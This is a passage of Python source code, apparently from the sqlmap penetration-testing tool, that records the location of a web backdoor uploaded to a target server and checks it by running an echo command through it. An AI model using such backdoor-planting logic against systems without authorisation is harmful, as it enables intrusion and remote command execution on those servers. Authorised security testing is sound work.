                self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
                self.webDirectory = directory

            self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)

            testStr = "command execution test"
            output = self.webBackdoorRunCmd("echo %s" % testStr)

            if output == "0":
                warnMsg = "the backdoor has been uploaded but required privileges "
                warnMsg += "for running the system commands are missing"
                raise SqlmapNoneDataException(warnMsg)
            elif output and testStr in output:
                infoMsg = "the backdoor has been successfully "
            else:
                infoMsg = "the backdoor has probably been successfully "

            infoMsg += "uploaded on '%s' - " % self.webDirectory
            infoMsg += self.webBackdoorUrl
            logger.info(infoMsg)

            break